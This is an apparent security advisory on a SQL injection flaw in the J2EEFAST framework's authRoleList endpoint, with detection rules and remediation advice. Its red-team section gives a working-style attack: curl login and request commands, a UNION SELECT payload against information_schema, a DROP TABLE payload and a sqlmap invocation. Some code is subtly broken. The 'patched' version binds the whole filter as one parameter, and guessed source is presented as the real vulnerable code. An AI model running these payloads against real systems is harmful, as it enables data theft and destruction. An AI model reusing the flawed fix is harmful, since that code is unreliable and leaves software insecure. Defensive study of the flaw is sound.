CVE-2024-33147

Executive Summary

CVE-2024-33147 is a critical SQL injection vulnerability discovered in J2EEFAST v2.7.0, a popular Java-based rapid development framework. The flaw resides in the authRoleList function, specifically within the sql_filter parameter. An authenticated attacker with low privileges can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential full database compromise. The vulnerability has a CVSS v3.1 base score of 8.8 (High), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. No official patch has been released as of the latest advisory, making this a high-priority unpatched vulnerability for all J2EEFAST deployments.

Supply Chain & Package Security

J2EEFAST is a Java-based framework distributed via Maven Central and GitHub. The vulnerable component is part of the core framework, meaning any application built on J2EEFAST v2.7.0 inherits this flaw. Organizations should audit their software bill of materials (SBOM) for J2EEFAST dependencies and treat this as a supply chain risk. No known malicious packages have been identified, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid low-privileged account.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full database read access possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Potential for denial of service via destructive queries.

Threat Level: Critical due to the unpatched status, low complexity, and high impact. EPSS score is 0.0% at the time of analysis, but this is expected to rise as proof-of-concept code circulates.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the authRoleList function of J2EEFAST v2.7.0. The sql_filter parameter is used to dynamically construct SQL queries without proper sanitization or parameterization. The framework likely concatenates user input directly into SQL statements, allowing an attacker to break out of the intended query structure.

Root Cause: The sql_filter parameter is passed to a method that builds a WHERE clause. Instead of using prepared statements or parameterized queries, the input is directly interpolated into the SQL string. For example, a vulnerable code path might look like:

String sql = "SELECT * FROM sys_role WHERE " + sql_filter;

An attacker can supply a value such as:

1=1; DROP TABLE sys_user; --

This would result in the execution of:

SELECT * FROM sys_role WHERE 1=1; DROP TABLE sys_user; --

The semicolon allows multiple statements, and the -- comments out the rest of the original query.

Attack Flow:

1. Attacker authenticates to the J2EEFAST application with low-privileged credentials.
2. Attacker identifies the authRoleList endpoint (e.g., /sys/role/authRoleList).
3. Attacker crafts a malicious sql_filter parameter containing SQL injection payloads.
4. The server executes the injected SQL, returning data or performing unauthorized operations.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical secure implementation.

Vulnerable Code (J2EEFAST v2.7.0):

public List<SysRole> authRoleList(String sql_filter) {
    String sql = "SELECT * FROM sys_role WHERE " + sql_filter;
    return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(SysRole.class));
}

Patched Code (Recommended):

public List<SysRole> authRoleList(String sql_filter) {
    // Use parameterized query with whitelist validation
    String sql = "SELECT * FROM sys_role WHERE ?";
    return jdbcTemplate.query(sql, new Object[]{sql_filter}, new BeanPropertyRowMapper<>(SysRole.class));
}

Explanation: The patched version uses a parameterized query (? placeholder) which ensures the input is treated as data, not executable SQL. Additionally, a whitelist of allowed filter columns should be enforced server-side.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• J2EEFAST v2.7.0 running on a target server.
• Valid low-privileged user credentials (e.g., testuser:password123).
• Network access to the /sys/role/authRoleList endpoint.

Step-by-Step Exploitation:

1. Authenticate and obtain session cookie:

   curl -c cookies.txt -X POST http://target/j2eefast/login \
     -d "username=testuser&password=password123"
   

2. Craft SQL injection payload: The sql_filter parameter is vulnerable. Use a UNION-based injection to extract data:

   1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200 FROM information_schema.tables--
   

3. Send the malicious request:

   curl -b cookies.txt "http://target/j2eefast/sys/role/authRoleList?sql_filter=1%3D1%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C38%2C39%2C40%2C41%2C42%2C43%2C44%2C45%2C46%2C47%2C48%2C49%2C50%2C51%2C52%2C53%2C54%2C55%2C56%2C57%2C58%2C59%2C60%2C61%2C62%2C63%2C64%2C65%2C66%2C67%2C68%2C69%2C70%2C71%2C72%2C73%2C74%2C75%2C76%2C77%2C78%2C79%2C80%2C81%2C82%2C83%2C84%2C85%2C86%2C87%2C88%2C89%2C90%2C91%2C92%2C93%2C94%2C95%2C96%2C97%2C98%2C99%2C100%2C101%2C102%2C103%2C104%2C105%2C106%2C107%2C108%2C109%2C110%2C111%2C112%2C113%2C114%2C115%2C116%2C117%2C118%2C119%2C120%2C121%2C122%2C123%2C124%2C125%2C126%2C127%2C128%2C129%2C130%2C131%2C132%2C133%2C134%2C135%2C136%2C137%2C138%2C139%2C140%2C141%2C142%2C143%2C144%2C145%2C146%2C147%2C148%2C149%2C150%2C151%2C152%2C153%2C154%2C155%2C156%2C157%2C158%2C159%2C160%2C161%2C162%2C163%2C164%2C165%2C166%2C167%2C168%2C169%2C170%2C171%2C172%2C173%2C174%2C175%2C176%2C177%2C178%2C179%2C180%2C181%2C182%2C183%2C184%2C185%2C186%2C187%2C188%2C189%2C190%2C191%2C192%2C193%2C194%2C195%2C196%2C197%2C198%2C199%2C200%20FROM%20information_schema.tables--"
   

4. Extract data: The response will contain the injected data (e.g., table names) in the role list output.

Automated Exploitation with sqlmap:

sqlmap -u "http://target/j2eefast/sys/role/authRoleList?sql_filter=1" \
  --cookie="JSESSIONID=..." \
  --batch --dbs

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual sql_filter parameter values containing SQL keywords (UNION, SELECT, DROP, etc.).
• Alert on requests to /sys/role/authRoleList with non-standard parameter lengths or encoding.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Defense:

• Immediately restrict access to the vulnerable endpoint to trusted IPs only.
• Implement input validation: whitelist allowed characters for sql_filter (e.g., only alphanumeric and underscores).
• Apply virtual patching via WAF rules (see Detection Engineering section).
• If possible, disable the authRoleList function until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /sys/role/authRoleList with sql_filter parameter containing SQL keywords.
• Unusual response sizes from the endpoint (indicating data exfiltration).
• Multiple rapid requests to the same endpoint from a single IP.

File IOCs:

• Log entries in application logs showing SQL errors or unexpected query patterns.
• Database audit logs showing unauthorized queries (e.g., UNION SELECT, INFORMATION_SCHEMA).

Behavioral IOCs:

• Low-privileged user accounts performing administrative-like queries.
• Sudden increase in database connections from the application server.

Detection Engineering

YARA Rule

rule CVE_2024_33147_SQLi_J2EEFAST {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-33147 in J2EEFAST"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33147"
        severity = "critical"
    strings:
        $sqli1 = "sql_filter=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "DROP" nocase
        $sqli5 = "INFORMATION_SCHEMA" nocase
        $sqli6 = "1=1" nocase
        $sqli7 = "OR 1=1" nocase
        $sqli8 = "admin'--" nocase
    condition:
        $sqli1 and any of ($sqli2, $sqli3, $sqli4, $sqli5, $sqli6, $sqli7, $sqli8)
}

Sigma Rule

title: CVE-2024-33147 SQL Injection Attempt
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects SQL injection attempts against J2EEFAST authRoleList endpoint
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33147
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "sql_filter="
            - "UNION"
            - "SELECT"
            - "DROP"
            - "INFORMATION_SCHEMA"
            - "1=1"
            - "OR 1=1"
            - "admin'--"
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33147 J2EEFAST SQL Injection Attempt"; flow:to_server,established; content:"/sys/role/authRoleList"; http_uri; content:"sql_filter="; http_uri; pcre:"/(UNION|SELECT|DROP|INFORMATION_SCHEMA|1=1|OR 1=1|admin'--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If the authRoleList function is not critical, disable it via configuration or a reverse proxy.
2. Apply virtual patching: Use a WAF to block requests containing SQL injection patterns in the sql_filter parameter.
3. Restrict access: Limit access to the /sys/role/authRoleList endpoint to trusted IP addresses only.

Long-Term Fix:

1. Upgrade J2EEFAST: Monitor the official repository for a patched version. If none is available, consider forking and applying the fix manually.
2. Implement parameterized queries: Replace all dynamic SQL construction with prepared statements or ORM frameworks like MyBatis or Hibernate.
3. Input validation: Enforce strict whitelisting on the sql_filter parameter. Only allow predefined filter keys (e.g., roleName, status).
4. Security audit: Conduct a full code review of all SQL interactions in the application.

Workaround Code (if patching is delayed): Add a filter to sanitize the sql_filter parameter:

public String sanitizeSqlFilter(String input) {
    // Allow only alphanumeric, underscore, and space
    return input.replaceAll("[^a-zA-Z0-9_ ]", "");
}

Note: This is a temporary measure and may break legitimate functionality. Use with caution.

Valters IT